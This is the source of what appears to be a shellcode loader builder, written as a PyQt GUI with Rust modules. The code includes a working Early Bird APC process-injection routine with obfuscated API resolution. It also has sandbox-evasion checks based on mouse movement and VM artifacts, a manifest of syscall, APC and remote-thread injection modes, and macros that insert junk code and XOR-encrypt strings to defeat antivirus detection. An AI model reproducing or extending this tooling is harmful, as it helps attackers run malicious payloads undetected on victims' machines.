29 | if self.count() > 0 and self.currentIndex() == -1:
30 | self.setCurrentIndex(default_idx)
31 |
32 | def choose_file(self, parent=None):
33 | path, _ = QFileDialog.getOpenFileName(parent, 'Select Bin File', '.', 'Bin Files (*.bin);;All Files (*)')
34 | if path:
35 | display_name = os.path.basename(path)
36 | bin_icon = QIcon(os.path.join('icons', 'bin.ico')) if os.path.exists(os.path.join('icons', 'bin.ico')) else QIcon()
37 | for i in range(self.count()):
38 | if self.itemData(i) == path:
39 | self.setCurrentIndex(i)
40 | return
41 | self.addItem(bin_icon, display_name, path)
42 | self.setCurrentIndex(self.count() - 1)
43 |
44 | class IcoComboBox(QComboBox):
45 | def __init__(self, parent=None):
46 | super().__init__(parent)
47 | self.setView(QListView())
48 | self.setItemDelegate(QStyledItemDelegate())
49 | self.refresh()
50 |
51 | def refresh(self):
52 | self.clear()
53 | ico_files = list_ico_files()
54 | if not ico_files:
55 | icon_path = os.path.join('icons', 'excel.ico')
56 | self.addItem(QIcon(icon_path), 'excel.ico', icon_path)
57 | else:
58 | for f in ico_files:
59 | icon_path = os.path.join('icons', f)
60 | self.addItem(QIcon(icon_path), f, icon_path)
61 | if self.count() > 0 and self.currentIndex() == -1:
62 | self.setCurrentIndex(0)
63 |
64 | def choose_file(self, parent=None):
65 | path, _ = QFileDialog.getOpenFileName(parent, 'Select Icon File', '.', 'Icon Files (*.ico);;All Files (*)')
66 | if path:
67 | display_name = os.path.basename(path)
68 | for i in range(self.count()):
69 | if self.itemData(i) == path:
70 | self.setCurrentIndex(i)
71 | return
72 | def list_bundle_files():
73 | bundle_dir = os.path.join(os.getcwd(), 'bundle')
74 | if not os.path.isdir(bundle_dir):
75 | return []
76 | return [f for f in os.listdir(bundle_dir) if os.path.isfile(os.path.join(bundle_dir, f))]
77 |
78 | class BundleComboBox(QComboBox):
79 | def __init__(self, parent=None):
80 | super().__init__(parent)
81 | self.setView(QListView())
82 | self.setItemDelegate(QStyledItemDelegate())
83 | self.refresh()
84 |
85 | def refresh(self):
86 | self.clear()
87 | bundle_files = list_bundle_files()
88 | bundle_icon = QIcon(os.path.join('gui', 'icons', 'bundle.ico')) if os.path.exists(os.path.join('gui', 'icons', 'bundle.ico')) else QIcon()
89 | for f in bundle_files:
90 | file_path = os.path.abspath(os.path.join('bundle', f))
91 | self.addItem(bundle_icon, f, file_path)
92 | if self.count() > 0 and self.currentIndex() == -1:
93 | self.setCurrentIndex(0)
94 |
95 | def choose_file(self, parent=None):
96 | path, _ = QFileDialog.getOpenFileName(parent, 'Select File to Bundle', '.', 'All Files (*)')
97 | if path:
98 | # Ensure absolute path
99 | path = os.path.abspath(path)
100 | display_name = os.path.basename(path)
101 | bundle_icon = QIcon(os.path.join('gui', 'icons', 'bundle.ico')) if os.path.exists(os.path.join('gui', 'icons', 'bundle.ico')) else QIcon()
102 | for i in range(self.count()):
103 | if self.itemData(i) == path:
104 | self.setCurrentIndex(i)
105 | return
106 | self.addItem(bundle_icon, display_name, path)
107 | self.setCurrentIndex(self.count() - 1)
108 |
--------------------------------------------------------------------------------
/gui/ui_components.py:
--------------------------------------------------------------------------------
1 | import os
2 | from PyQt5.QtCore import QSize
3 | from PyQt5.QtWidgets import QComboBox, QCheckBox, QGridLayout, QListView, QStyledItemDelegate
4 | from PyQt5.QtGui import QIcon
5 | from .config_manager import load_plugins_manifest, get_default_value
6 |
7 |
8 |
9 | def get_folder_icon():
10 | icon_path = os.path.join('gui', 'icons', 'folder.ico')
11 | return QIcon(icon_path) if os.path.exists(icon_path) else QIcon()
12 |
13 |
14 | def get_icon(icon_name):
15 | icon_path = os.path.join('gui', 'icons', f'{icon_name}.ico')
16 | return QIcon(icon_path) if os.path.exists(icon_path) else QIcon()
17 |
18 |
19 | def create_encryption_combobox():
20 | combo = QComboBox()
21 | combo.setIconSize(QSize(20, 20))
22 |
23 | enc_icon = get_icon('enc')
24 | manifest = load_plugins_manifest()
25 |
26 | for e in manifest['encryption']:
27 | combo.addItem(enc_icon, e.get('label', e['id']), e['id'])
28 |
29 | default_enc = get_default_value('encryption')
30 | if default_enc:
31 | for i in range(combo.count()):
32 | if combo.itemData(i) == default_enc:
33 | combo.setCurrentIndex(i)
34 | break
35 |
36 | return combo
37 |
38 |
39 | def create_mem_mode_combobox():
40 | combo = QComboBox()
41 | mem_icon = get_icon('mem')
42 |
43 | manifest = load_plugins_manifest()
44 | mem_modes = manifest.get('alloc_mem_modes', [])
45 |
46 | for m in mem_modes:
47 | combo.addItem(mem_icon, m.get('label', m['id']), m['id'])
48 |
49 | default_mem = get_default_value('alloc_mem_mode')
50 | if default_mem:
51 | for i in range(combo.count()):
52 | if combo.itemData(i) == default_mem:
53 | combo.setCurrentIndex(i)
54 | break
55 |
56 | return combo
57 |
58 |
59 | def create_load_payload_combobox():
60 | combo = QComboBox()
61 | load_icon = get_icon('pd') # Assuming 'load.ico' exists or will fallback to empty
62 |
63 | manifest = load_plugins_manifest()
64 | load_modes = manifest.get('load_payload_modes', [])
65 |
66 | for m in load_modes:
67 | combo.addItem(load_icon, m.get('label', m['id']), m['id'])
68 |
69 | default_load = get_default_value('load_payload_mode')
70 | if default_load:
71 | for i in range(combo.count()):
72 | if combo.itemData(i) == default_load:
73 | combo.setCurrentIndex(i)
74 | break
75 |
76 | return combo
77 |
78 |
79 | def create_vm_checks_grid():
80 | manifest = load_plugins_manifest()
81 | vm_items = manifest.get('vm_checks', [])
82 |
83 | if not vm_items:
84 | vm_items = [
85 | {'id': t, 'label': t} for t in [
86 | 'c_drive', 'desktop_files', 'tick', 'memory', 'api_flood',
87 | 'mouse', 'common_software', 'uptime'
88 | ]
89 | ]
90 |
91 | grid = QGridLayout()
92 | checkboxes = []
93 |
94 | for i, item in enumerate(vm_items):
95 | text = item.get('label', item.get('id', ''))
96 | vm_id = item.get('id', text)
97 |
98 | cb = QCheckBox(text)
99 | cb.setProperty('vm_id', vm_id)
100 | checkboxes.append(cb)
101 |
102 | grid.addWidget(cb, i // 4, i % 4)
103 |
104 | return grid, checkboxes
105 |
106 |
107 | def create_run_mode_combobox():
108 | combo = QComboBox()
109 | combo.setIconSize(QSize(20, 20))
110 |
111 | run_icon = get_icon('run')
112 | manifest = load_plugins_manifest()
113 |
114 | for rm in manifest['run_modes']:
115 | combo.addItem(run_icon, rm.get('label', rm['id']), rm['id'])
116 |
117 | default_rm = get_default_value('run_mode')
118 | if default_rm:
119 | for i in range(combo.count()):
120 | if combo.itemData(i) == default_rm:
121 | combo.setCurrentIndex(i)
122 | break
123 |
124 | return combo
125 |
126 |
127 |
128 | def create_target_combobox():
129 | combo = QComboBox()
130 | combo.setView(QListView())
131 | combo.setItemDelegate(QStyledItemDelegate())
132 |
133 | target_icon = get_icon('target')
134 |
135 | targets = [
136 | ('x86_64-pc-windows-msvc', 'Windows MSVC (x64)'),
137 | ('i686-pc-windows-msvc', 'Windows MSVC (x86)'),
138 | ('x86_64-pc-windows-gnu', 'Windows GNU (x64)'),
139 | ('i686-pc-windows-gnu', 'Windows GNU (x86)'),
140 | ('aarch64-pc-windows-msvc', 'Windows MSVC (ARM64)'),
141 | ]
142 |
143 | for target, label in targets:
144 | combo.addItem(target_icon, label, target)
145 |
146 | import platform
147 | os_name = platform.system().lower()
148 | if os_name == "windows":
149 | default_target = "x86_64-pc-windows-msvc"
150 | else:
151 | default_target = "x86_64-pc-windows-gnu"
152 |
153 | for i in range(combo.count()):
154 | if combo.itemData(i) == default_target:
155 | combo.setCurrentIndex(i)
156 | break
157 |
158 | return combo
159 |
--------------------------------------------------------------------------------
/config/plugins.json:
--------------------------------------------------------------------------------
1 | {
2 | "encryption": [
3 | { "id": "ipv4", "label": "ipv4", "encrypt_arg": "ipv4", "feature": "decrypt_ipv4" },
4 | { "id": "ipv6", "label": "ipv6", "encrypt_arg": "ipv6", "feature": "decrypt_ipv6" },
5 | { "id": "mac", "label": "mac", "encrypt_arg": "mac", "feature": "decrypt_mac" },
6 | { "id": "uuid", "label": "uuid", "encrypt_arg": "uuid", "feature": "decrypt_uuid" },
7 | { "id": "rc4", "label": "rc4", "encrypt_arg": "rc4", "feature": "decrypt_rc4" },
8 | { "id": "aes", "label": "aes", "encrypt_arg": "aes", "feature": "decrypt_aes" },
9 | { "id": "xchacha20", "label": "xchacha20", "encrypt_arg": "xchacha20", "feature": "decrypt_xchacha20" },
10 | { "id": "ecc", "label": "ecc", "encrypt_arg": "ecc", "feature": "decrypt_ecc" }
11 | ],
12 | "alloc_mem_modes": [
13 | { "id": "alloc_mem_va", "label": "VirtualAlloc", "feature": "alloc_mem_va" },
14 | { "id": "alloc_mem_syscall", "label": "NtAllocateVirtualMemory (Syscall)", "feature": "alloc_mem_syscall" },
15 | { "id": "alloc_mem_veh_syscall", "label": "NtAllocateVirtualMemory (VEH Syscall)", "feature": "alloc_mem_veh_syscall" },
16 | { "id": "alloc_mem_global", "label": "GlobalAlloc", "feature": "alloc_mem_global" },
17 | { "id": "alloc_mem_local", "label": "LocalAlloc", "feature": "alloc_mem_local" },
18 | { "id": "alloc_mem_heap", "label": "HeapAlloc", "feature": "alloc_mem_heap" },
19 | { "id": "alloc_mem_mapview", "label": "MapViewOfFile", "feature": "alloc_mem_mapview" },
20 | { "id": "alloc_mem_section", "label": "NtMapViewOfSection", "feature": "alloc_mem_section" },
21 | { "id": "alloc_mem_section_syscall", "label": "NtMapViewOfSection (Syscall)", "feature": "alloc_mem_section_syscall" },
22 | { "id": "alloc_mem_section_veh_syscall", "label": "NtMapViewOfSection (VEH Syscall)", "feature": "alloc_mem_section_veh_syscall" },
23 | { "id": "alloc_mem_sh_alloc", "label": "SHAlloc", "feature": "alloc_mem_sh_alloc" },
24 | { "id": "alloc_mem_snmp_util", "label": "SnmpUtilMemAlloc", "feature": "alloc_mem_snmp_util" },
25 | { "id": "alloc_mem_va_from_app", "label": "VirtualAllocFromApp", "feature": "alloc_mem_va_from_app" }
26 | ],
27 | "load_payload_modes": [
28 | { "id": "read_file", "label": "Read File", "feature": "load_payload_read_file" },
29 | { "id": "pipe", "label": "Named Pipe", "feature": "load_payload_pipe" },
30 | { "id": "mailslot", "label": "Mailslot", "feature": "load_payload_mailslot" },
31 | { "id": "read_file_v2", "label": "Read File V2", "feature": "load_payload_read_file_v2" },
32 | { "id": "cmdline", "label": "Separate", "feature": "load_payload_cmdline" }
33 | ],
34 | "run_modes": [
35 | { "id": "create_thread", "label": "CreateThread", "feature": "run_create_thread", "pattern": 1 },
36 | { "id": "syscall", "label": "NtCreateThreadEx (Syscall)", "feature": "run_syscall", "pattern": 1 },
37 | { "id": "veh_syscall", "label": "NtCreateThreadEx (VEH Syscall)", "feature": "run_veh_syscall", "pattern": 1 },
38 | { "id": "gdi_families", "label": "GDI Families", "feature": "run_gdi_families", "pattern": 1 },
39 | { "id": "enum_ui", "label": "EnumUILanguagesW", "feature": "run_enum_ui", "pattern": 1 },
40 | { "id": "apc", "label": "APC", "feature": "run_apc", "pattern": 1 },
41 | { "id": "apc_syscall", "label": "APC (Syscall)", "feature": "run_apc_syscall", "pattern": 1 },
42 | { "id": "apc_veh_syscall", "label": "APC (VEH Syscall)", "feature": "run_apc_veh_syscall", "pattern": 1 },
43 | { "id": "fiber", "label": "Fiber", "feature": "run_fiber", "pattern": 1 },
44 | { "id": "fls_alloc", "label": "FLS Alloc", "feature": "run_fls_alloc", "pattern": 1 },
45 | { "id": "linedda", "label": "LineDDA", "feature": "run_linedda", "pattern": 1 },
46 | { "id": "early_bird_apc", "label": "Early Bird", "feature": "run_early_bird_apc", "pattern": 2 },
47 | { "id": "create_remote_thread", "label": "CreateRemoteThread", "feature": "run_create_remote_thread", "pattern": 3 }
48 | ],
49 | "vm_checks": [
50 | { "id": "tick", "label": "Tick Detection", "feature": "vm_check_tick" },
51 | { "id": "mouse", "label": "Mouse", "feature": "vm_check_mouse" },
52 | { "id": "desktop_files", "label": "Desktop Files", "feature": "vm_check_desktop_files" },
53 | { "id": "c_drive", "label": "C Drive", "feature": "vm_check_c_drive" },
54 | { "id": "api_flood", "label": "API Flood", "feature": "vm_check_api_flood" },
55 | { "id": "cpu_info", "label": "CPU", "feature": "vm_check_cpu_info" },
56 | { "id": "rdtsc_timing", "label": "RDTSC", "feature": "vm_check_rdtsc_timing" },
57 | { "id": "usb_mount", "label": "USB", "feature": "vm_check_usb_mount" },
58 | { "id": "prime", "label": "Prime Num", "feature": "vm_check_prime" },
59 | { "id": "edge", "label": "Edge History", "feature": "vm_check_edge" },
60 | { "id": "time", "label": "Time Acc", "feature": "vm_check_time" },
61 | { "id": "ip", "label": "IP(China)", "feature": "vm_check_ip" }
62 | ],
63 | "encodings": [
64 | { "id": "base64", "label": "Base64", "feature": "base64_decode" },
65 | { "id": "base32", "label": "Base32", "feature": "base32_decode" },
66 | { "id": "hex", "label": "Hex", "feature": "hex_decode" },
67 | { "id": "urlsafe_base64", "label": "UrlSafe Base64", "feature": "urlsafe_base64_decode" },
68 | { "id": "none", "label": "none", "feature": "none_decode" }
69 | ],
70 | "defaults": {
71 | "encryption": "ipv4",
72 | "run_mode": "create_thread",
73 | "alloc_mem_mode": "alloc_mem_va",
74 | "encoding": "base64"
75 | }
76 | }
77 |
--------------------------------------------------------------------------------
/src/exec/early_bird_apc.rs:
--------------------------------------------------------------------------------
1 | pub unsafe fn exec(p: usize, size: usize, target_program: &str) -> Result<(), String> {
2 | use std::ffi::c_void;
3 | use crate::utils::{load_library, get_proc_address};
4 | use obfstr::{obfbytes, obfstr};
5 | use std::ptr::{null, null_mut};
6 | use std::mem::transmute;
7 | use windows_sys::Win32::System::Threading::{PROCESS_INFORMATION, STARTUPINFOW, CREATE_SUSPENDED};
8 | use windows_sys::Win32::System::Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ};
9 |
10 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?;
11 | let p_virtual_alloc_ex = get_proc_address(kernel32, obfbytes!(b"VirtualAllocEx\0").as_slice())?;
12 | let p_virtual_protect_ex = get_proc_address(kernel32, obfbytes!(b"VirtualProtectEx\0").as_slice())?;
13 | let p_write_process_memory = get_proc_address(kernel32, obfbytes!(b"WriteProcessMemory\0").as_slice())?;
14 | let p_queue_user_apc = get_proc_address(kernel32, obfbytes!(b"QueueUserAPC\0").as_slice())?;
15 | let p_create_process_w = get_proc_address(kernel32, obfbytes!(b"CreateProcessW\0").as_slice())?;
16 | let p_resume_thread = get_proc_address(kernel32, obfbytes!(b"ResumeThread\0").as_slice())?;
17 |
18 | type VirtualAllocExFn = unsafe extern "system" fn(*mut c_void, *const c_void, usize, u32, u32) -> *mut c_void;
19 | type VirtualProtectExFn = unsafe extern "system" fn(*mut c_void, *const c_void, usize, u32, *mut u32) -> i32;
20 | type WriteProcessMemoryFn = unsafe extern "system" fn(*mut c_void, *mut c_void, *const c_void, usize, *mut usize) -> i32;
21 | type QueueUserAPCFn = unsafe extern "system" fn(Option, *mut c_void, usize) -> u32;
22 | type CreateProcessWFn = unsafe extern "system" fn(
23 | *const u16,
24 | *mut u16,
25 | *mut c_void,
26 | *mut c_void,
27 | i32,
28 | u32,
29 | *mut c_void,
30 | *const u16,
31 | *mut STARTUPINFOW,
32 | *mut PROCESS_INFORMATION,
33 | ) -> i32;
34 | type ResumeThreadFn = unsafe extern "system" fn(*mut c_void) -> u32;
35 |
36 | let virtual_alloc_ex: VirtualAllocExFn = transmute(p_virtual_alloc_ex);
37 | let virtual_protect_ex: VirtualProtectExFn = transmute(p_virtual_protect_ex);
38 | let write_process_memory: WriteProcessMemoryFn = transmute(p_write_process_memory);
39 | let queue_user_apc: QueueUserAPCFn = transmute(p_queue_user_apc);
40 | let create_process_w: CreateProcessWFn = transmute(p_create_process_w);
41 | let resume_thread: ResumeThreadFn = transmute(p_resume_thread);
42 |
43 | let p_close_handle = get_proc_address(kernel32, obfbytes!(b"CloseHandle\0").as_slice())?;
44 | type CloseHandleFn = unsafe extern "system" fn(isize) -> i32;
45 | let close_handle: CloseHandleFn = transmute(p_close_handle);
46 |
47 | let shellcode = std::slice::from_raw_parts(p as *const u8, size);
48 |
49 | let program_str = target_program;
50 | let mut program_w: Vec = program_str.encode_utf16().collect();
51 | program_w.push(0);
52 |
53 | let mut proc_info: PROCESS_INFORMATION = std::mem::zeroed();
54 | let mut startup_info: STARTUPINFOW = std::mem::zeroed();
55 | startup_info.cb = std::mem::size_of::() as u32;
56 | startup_info.wShowWindow = 1;
57 |
58 | let ret = create_process_w(
59 | null(),
60 | program_w.as_mut_ptr(),
61 | null_mut(),
62 | null_mut(),
63 | 1, // bInheritHandles
64 | CREATE_SUSPENDED,
65 | null_mut(),
66 | null(),
67 | &mut startup_info,
68 | &mut proc_info,
69 | );
70 | if ret == 0 {
71 | return Err(obfstr!("CreateProcessW failed").to_string());
72 | }
73 |
74 | let addr = virtual_alloc_ex(
75 | proc_info.hProcess as *mut c_void,
76 | null(),
77 | shellcode.len(),
78 | MEM_COMMIT | MEM_RESERVE,
79 | PAGE_READWRITE,
80 | );
81 | if addr.is_null() {
82 | close_handle(proc_info.hProcess);
83 | close_handle(proc_info.hThread);
84 | return Err(obfstr!("VirtualAllocEx failed").to_string());
85 | }
86 |
87 | let mut written = 0;
88 | let ret_write = write_process_memory(
89 | proc_info.hProcess as *mut c_void,
90 | addr,
91 | shellcode.as_ptr() as *const c_void,
92 | shellcode.len(),
93 | &mut written,
94 | );
95 | if ret_write == 0 {
96 | close_handle(proc_info.hProcess);
97 | close_handle(proc_info.hThread);
98 | return Err(obfstr!("WriteProcessMemory failed").to_string());
99 | }
100 |
101 | let mut old_protect = PAGE_READWRITE;
102 | let ret_protect = virtual_protect_ex(
103 | proc_info.hProcess as *mut c_void,
104 | addr,
105 | shellcode.len(),
106 | PAGE_EXECUTE_READ,
107 | &mut old_protect,
108 | );
109 | if ret_protect == 0 {
110 | close_handle(proc_info.hProcess);
111 | close_handle(proc_info.hThread);
112 | return Err(obfstr!("VirtualProtectEx failed").to_string());
113 | }
114 |
115 | let apc_fn: unsafe extern "system" fn(usize) = transmute(addr);
116 | let ret_apc = queue_user_apc(Some(apc_fn), proc_info.hThread as *mut c_void, 0);
117 | if ret_apc == 0 {
118 | close_handle(proc_info.hProcess);
119 | close_handle(proc_info.hThread);
120 | return Err(obfstr!("QueueUserAPC failed").to_string());
121 | }
122 |
123 | let ret_resume = resume_thread(proc_info.hThread as *mut c_void);
124 | if ret_resume == 0xFFFFFFFF {
125 | close_handle(proc_info.hProcess);
126 | close_handle(proc_info.hThread);
127 | return Err(obfstr!("ResumeThread failed").to_string());
128 | }
129 |
130 | close_handle(proc_info.hProcess);
131 | close_handle(proc_info.hThread);
132 |
133 | Ok(())
134 | }
--------------------------------------------------------------------------------
/src/guard/mouse.rs:
--------------------------------------------------------------------------------
1 | #[allow(dead_code)]
2 | use obfstr::obfbytes;
3 | pub fn has_human_mouse_movement() -> bool {
4 | use std::mem::{size_of, transmute};
5 | use windows_sys::Win32::Foundation::POINT;
6 | use crate::utils::{load_library, get_proc_address};
7 |
8 | #[inline]
9 | fn simple_rand(seed: &mut u32) -> u32 {
10 | *seed = seed.wrapping_mul(1664525).wrapping_add(1013904223);
11 | *seed
12 | }
13 |
14 | #[inline]
15 | fn distance(ax: i32, ay: i32, bx: i32, by: i32) -> f64 {
16 | let dx = (bx - ax) as f64;
17 | let dy = (by - ay) as f64;
18 | (dx * dx + dy * dy).sqrt()
19 | }
20 |
21 | #[repr(C)]
22 | struct LastInputInfo { cb_size: u32, dw_time: u32 }
23 |
24 | unsafe {
25 | // 解析需要的 API
26 | let user32 = match load_library(obfbytes!(b"user32.dll\0").as_slice()) {
27 | Ok(h) => h,
28 | Err(_) => return false,
29 | };
30 | let kernel32 = match load_library(obfbytes!(b"kernel32.dll\0").as_slice()) {
31 | Ok(h) => h,
32 | Err(_) => return false,
33 | };
34 |
35 | let p_get_cursor_pos = match get_proc_address(user32, obfbytes!(b"GetCursorPos\0").as_slice()) {
36 | Ok(f) => f,
37 | Err(_) => return false,
38 | };
39 | let get_cursor_pos: unsafe extern "system" fn(*mut POINT) -> i32 = transmute(p_get_cursor_pos);
40 |
41 | let p_get_last_input = get_proc_address(user32, obfbytes!(b"GetLastInputInfo\0").as_slice()).ok();
42 | let get_last_input: Option i32> =
43 | p_get_last_input.map(|f| transmute(f));
44 |
45 | let p_sleep = match get_proc_address(kernel32, obfbytes!(b"Sleep\0").as_slice()) {
46 | Ok(f) => f,
47 | Err(_) => return false,
48 | };
49 | let sleep: unsafe extern "system" fn(u32) = transmute(p_sleep);
50 |
51 | let p_tick = get_proc_address(kernel32, obfbytes!(b"GetTickCount\0").as_slice()).ok();
52 | let get_tick: Option u32> = p_tick.map(|f| transmute(f));
53 |
54 | // 采样参数
55 | const N: usize = 3; // 采样点数量
56 | let mut points: [POINT; N] = [POINT { x: 0, y: 0 }; N];
57 | let mut ticks: [u32; N] = [0; N];
58 |
59 | // 初始种子
60 | let mut seed = match get_tick { Some(f) => f(), None => 123456789u32 };
61 |
62 | // 第一个点(立即)
63 | if get_cursor_pos(&mut points[0] as *mut POINT) == 0 { return false; }
64 | ticks[0] = match get_tick { Some(f) => f(), None => 0 };
65 |
66 | for i in 1..N {
67 | let jitter = 500u32 + (simple_rand(&mut seed) % 500); // 500~999ms
68 | sleep(jitter);
69 | if get_cursor_pos(&mut points[i] as *mut POINT) == 0 { return false; }
70 | ticks[i] = match get_tick { Some(f) => f(), None => ticks[i-1].wrapping_add(jitter) };
71 | }
72 |
73 | let mut total_dist = 0f64;
74 | let net_disp = distance(points[0].x, points[0].y, points[N-1].x, points[N-1].y);
75 | let mut speeds: [f64; N-1] = [0.0; N-1];
76 | let mut turns = 0u32;
77 |
78 | for i in 1..N {
79 | let d = distance(points[i-1].x, points[i-1].y, points[i].x, points[i].y);
80 | total_dist += d;
81 | let dt_ms = ticks[i].wrapping_sub(ticks[i-1]) as f64;
82 | if dt_ms > 0.0 { speeds[i-1] = d / dt_ms; }
83 | }
84 |
85 | // 统计转角(基于三点夹角),阈值 ~ 12°
86 | for i in 2..N {
87 | let v1x = (points[i-1].x - points[i-2].x) as f64;
88 | let v1y = (points[i-1].y - points[i-2].y) as f64;
89 | let v2x = (points[i].x - points[i-1].x) as f64;
90 | let v2y = (points[i].y - points[i-1].y) as f64;
91 | let n1 = (v1x * v1x + v1y * v1y).sqrt();
92 | let n2 = (v2x * v2x + v2y * v2y).sqrt();
93 | if n1 > 0.0 && n2 > 0.0 {
94 | let dot = v1x * v2x + v1y * v2y;
95 | let cos_t = (dot / (n1 * n2)).clamp(-1.0, 1.0);
96 | let angle = cos_t.acos();
97 | if angle.to_degrees() > 12.0 { turns = turns.saturating_add(1); }
98 | }
99 | }
100 |
101 | // 速度离散度(变速是否明显)
102 | let mut mean_v = 0f64;
103 | for v in speeds.iter() { mean_v += *v; }
104 | mean_v /= (N - 1) as f64;
105 | let mut var_v = 0f64;
106 | for v in speeds.iter() { let dv = *v - mean_v; var_v += dv * dv; }
107 | var_v /= (N - 1) as f64;
108 | let cov_v = if mean_v > 0.0 { (var_v.sqrt() / mean_v).abs() } else { 0.0 };
109 |
110 | let straight_eff = if total_dist > 0.0 { net_disp / total_dist } else { 1.0 };
111 |
112 | let recent_input_bonus = if let Some(glast) = get_last_input {
113 | let mut lii = LastInputInfo { cb_size: size_of::() as u32, dw_time: 0 };
114 | if glast(&mut lii as *mut LastInputInfo) != 0 {
115 | if let Some(gtick) = get_tick {
116 | let now = gtick();
117 | let delta = now.wrapping_sub(lii.dw_time);
118 | (delta as u32) <= 30_000
119 | } else { false }
120 | } else { false }
121 | } else { false };
122 |
123 | // 打分规则(>=2 判定为人类,降低采样点数后相应降低阈值)
124 | let mut score = 0u32;
125 | // 1) 路径长度阈值(像素):过滤微小抖动
126 | if total_dist >= 30.0 { score += 1; }
127 | // 2) 存在至少一次明显转向(采样点少时可能无转向)
128 | if turns >= 1 { score += 1; }
129 | // 3) 速度波动适中(过于平滑或完全不动都不给分)
130 | if cov_v >= 0.1 { score += 1; }
131 | // 4) 不完全直线(允许轻微直线操作,阈值 0.98)
132 | if straight_eff <= 0.98 { score += 1; }
133 | // 5) 近期有人机输入迹象
134 | if recent_input_bonus { score += 1; }
135 |
136 | score >= 2
137 | }
138 | }
--------------------------------------------------------------------------------
/rsl-macros/src/lib.rs:
--------------------------------------------------------------------------------
1 | use proc_macro::TokenStream;
2 | use quote::quote;
3 | use rand::Rng;
4 | use syn::{parse_macro_input, LitStr};
5 | use std::env;
6 | use base64::{Engine as _, engine::general_purpose};
7 |
8 | /// A procedural macro that generates random obfuscation noise at compile time.
9 | #[proc_macro]
10 | pub fn obfuscation_noise_macro(_input: TokenStream) -> TokenStream {
11 | let mut rng = rand::thread_rng();
12 |
13 | let dummy_sum = rng.gen_range(10..50);
14 | let map_size = rng.gen_range(5..15);
15 | let sum_iterations = rng.gen_range(500..1500);
16 | let buffer_size = rng.gen_range(10..50);
17 | let filter_mod = rng.gen_range(2..5);
18 | let take_count = rng.gen_range(10..30) as usize;
19 | let loop_count = rng.gen_range(50000..150000);
20 | let shift_count = rng.gen_range(5..10);
21 | let sum_range = rng.gen_range(20..80) as usize;
22 |
23 | // New random elements for increased complexity
24 | let add_conditional_branch = rng.gen_bool(0.6);
25 | let add_nested_loop = rng.gen_bool(0.5);
26 | let add_random_function = rng.gen_bool(0.4);
27 | let add_volatile_writes = rng.gen_bool(0.7);
28 | let branch_condition = rng.gen_range(0..100);
29 | let nested_loop_depth = rng.gen_range(1..4);
30 | let function_calls = rng.gen_range(2..6);
31 |
32 | let mut statements = vec![];
33 |
34 | // Basic operations
35 | statements.push(quote! {
36 | let _dummy = (0..#dummy_sum).map(|x: i32| x.wrapping_mul(7)).sum::();
37 | });
38 |
39 | statements.push(quote! {
40 | let mut hash_map: std::collections::HashMap = std::collections::HashMap::new();
41 | for _ in 0..#map_size {
42 | let key = rand::random::();
43 | let val = format!("value_{}", rand::random::());
44 | hash_map.insert(key, val);
45 | }
46 | for (k, v) in hash_map.iter() {
47 | let _ = format!("{}={}", k, v);
48 | }
49 | });
50 |
51 | statements.push(quote! {
52 | let mut sum: u64 = 0;
53 | for i in 0..#sum_iterations {
54 | sum = sum.wrapping_add((i as u64).wrapping_mul(rand::random::()));
55 | }
56 | });
57 |
58 | statements.push(quote! {
59 | let mut buffer: Vec = (0..#buffer_size).map(|_| rand::random::()).collect();
60 | if rand::random::() {
61 | buffer.reverse();
62 | }
63 | let _ = buffer.len();
64 | });
65 |
66 | statements.push(quote! {
67 | let _result: Vec = (0..rand::Rng::gen_range(&mut rand::thread_rng(), 50..150))
68 | .filter(|x| x % #filter_mod == 0)
69 | .map(|x| x * x)
70 | .take(#take_count)
71 | .collect();
72 | });
73 |
74 | statements.push(quote! {
75 | let _start = std::time::Instant::now();
76 | for _ in 0..#loop_count {
77 | let _ = (rand::random::()).wrapping_mul(rand::random::());
78 | }
79 | });
80 |
81 | statements.push(quote! {
82 | let mut val: u32 = rand::random::();
83 | for _ in 0..#shift_count {
84 | val = val.wrapping_shl(1) ^ val.wrapping_shr(3);
85 | }
86 | let _ = val;
87 | });
88 |
89 | // Add conditional branch if enabled
90 | if add_conditional_branch {
91 | statements.push(quote! {
92 | if #branch_condition > 50 {
93 | let _cond_var = rand::random::() * rand::random::();
94 | } else {
95 | let _else_var = rand::random::().sin();
96 | }
97 | });
98 | }
99 |
100 | // Add nested loop if enabled
101 | if add_nested_loop {
102 | let mut nested_code = quote! { let mut outer = 0; };
103 | for _depth in 0..nested_loop_depth {
104 | let inner_count = rng.gen_range(5..20);
105 | nested_code = quote! {
106 | #nested_code
107 | for _ in 0..#inner_count {
108 | outer += 1;
109 | }
110 | };
111 | }
112 | statements.push(nested_code);
113 | }
114 |
115 | // Add random function calls if enabled
116 | if add_random_function {
117 | let mut func_code = quote! {};
118 | for _ in 0..function_calls {
119 | let arg = rng.gen_range(1..100);
120 | func_code = quote! {
121 | #func_code
122 | let _func_result = (|x: i32| x * x * x)(#arg);
123 | };
124 | }
125 | statements.push(func_code);
126 | }
127 |
128 | // Volatile writes for anti-optimization
129 | if add_volatile_writes {
130 | statements.push(quote! {
131 | let mut volatile_var = rand::random::();
132 | unsafe {
133 | std::ptr::write_volatile(&mut volatile_var, volatile_var + 1);
134 | }
135 | });
136 | }
137 |
138 |
139 | // Final sum
140 | statements.push(quote! {
141 | let _ = (0..#sum_range).map(|x| x as i32 * x as i32).sum::();
142 | });
143 |
144 | // Shuffle statements for randomness
145 | use rand::seq::SliceRandom;
146 | statements.shuffle(&mut rng);
147 |
148 | let generated_code = quote! {
149 | {
150 | #(#statements)*
151 | }
152 | };
153 |
154 | TokenStream::from(generated_code)
155 | }
156 |
157 | /// A procedural macro that encrypts a string literal at compile time.
158 | #[proc_macro]
159 | pub fn encrypt_string(input: TokenStream) -> TokenStream {
160 | let input = parse_macro_input!(input as LitStr);
161 | let string = input.value();
162 |
163 | // Set key to seeded env key or default
164 | let key = env::var("CRYPTIFY_KEY").unwrap_or_else(|_| "xnasff3wcedj".to_string());
165 |
166 | let encrypted_string = xor_cipher(&string, &key);
167 |
168 | let output = quote! {
169 | cryptify::decrypt_string(#encrypted_string).as_ref()
170 | };
171 |
172 | TokenStream::from(output)
173 | }
174 |
175 | fn xor_cipher(input: &str, key: &str) -> String {
176 | let key_bytes = key.as_bytes();
177 | let input_bytes = input.as_bytes();
178 | let encrypted: Vec = input_bytes
179 | .iter()
180 | .enumerate()
181 | .map(|(i, &b)| b ^ key_bytes[i % key_bytes.len()])
182 | .collect();
183 | general_purpose::STANDARD.encode(&encrypted)
184 | }
--------------------------------------------------------------------------------
